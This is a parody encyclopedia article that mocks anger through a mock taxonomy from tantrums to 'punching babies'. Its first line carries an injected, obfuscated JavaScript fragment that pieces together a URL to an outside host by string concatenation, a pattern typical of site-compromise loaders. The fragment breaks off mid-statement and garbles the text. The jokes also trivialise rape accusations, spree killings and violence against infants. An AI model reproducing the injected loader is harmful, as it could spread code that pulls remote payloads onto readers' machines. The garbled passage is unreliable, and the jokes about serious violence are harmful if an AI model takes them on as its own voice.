Anger

Anger is an emotion - the one you feel when you are angry.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=

Just The Facts

  1. Anger can be caused by many things, such as drinking Stella Artois beer, or the music of Boney M.
  2. Somewhat ironically, the movie Anger Management is the number one cause of anger.
  3. Music is often used as an outlet for anger. Examples include Jimmy Buffett, and Randy Newman - two very angry men. St. Anger by the Band Metallica should be avoided though, mostly because it's rubbish.

How anger works

Tantrum

But there is an 'I' in JEDI!

Remember when you were younger, and when you didn't get your own way you'd throw a hissy fit and get all pouty and scream and kick and whine about not getting what you want? Okay that was just last week, but still, the point is that this is the most basic form of anger.

A tantrum is way of using anger to tell people that you are incredibly immature, spoiled, bratty and most likely more than a little cranky.

Fury

Stop hating on The Cable Guy. Jim Carrey made me do it!

The next level of anger is a nasty little condition known as fury. Fury is the anger equivalent of binge eating. You go all day hardly eating a thing, then all of a sudden you hop in the car, hit the drive-thru and gorge yourself on 7 big macs, large fries and a strawberry thick shake. Like eating large amounts of fast food - fury is bad for you.

Anger is best released in small doses, but those who display fury let it build over time and then release it all at once. Fury is a way of using anger to tell people you don't get laid enough, and that when you do, well, blink and you'll miss it.

Rage

Hulk wedgie!

Rage is the big brother of fury. Rage is what happens when you let your anger build, we mean really build, like for years, then something triggers the anger and it flows from you like an unstoppable torrent, a prolonged wave of malevolence. You may experience temporary insanity or even black-outs during a period of rage, and in at least one (fictional) instance, turn green and totally ruin your fly threads.

Rage is responsible for every spree killing ever, and is a way of telling the world through anger that you wanted to be a patient, methodical serial killer, but you are neither patient, methodical, nor sexually active.

Rabid Anger

Free-throws in Vince McMahon's new XBA league were on the lethal side of challenging.

Rabid anger is the kind of snarling, foaming at the mouth anger that is always present in those who display it. Unlke the previous forms of anger, it doesn't ever go away - it is the anger equivalent of a rape accusation. Someone who suffers from rabid anger is unable to process rational thought or function properly in the real world, taking every outside action as a personal attack, and taking the chair-throwing initiative to deal with the threat before it tries to mess with you again. In government, this is know as a 'pre-emptive strike'. You know, like what OJ did (or didn't do). Or did.

Rabid anger is a way of telling the world via anger that you didn't get hugged enough as a child and really, you just want someone to hold you and tell you it's okay. If only you'd stop hitting anyone that got close with blunt objects.

Punching Babies

Poor grammer makes us want to punch babies.

Punching babies is the most angry you can ever be. Ever. Punching babies it the anger equivalent of finding yourself on the New Jersey Turnpike - you can't go any further than that, yet there is no going back. Someone who punches a baby is at the end of their tether, they can't take anymore of the crap the world throws at them, and in looking for an outlet for their frustrations, decide to take it out on the most innocent and vulnerable thing available.

Punching babies is using anger to tell the world that you are a monumental dick.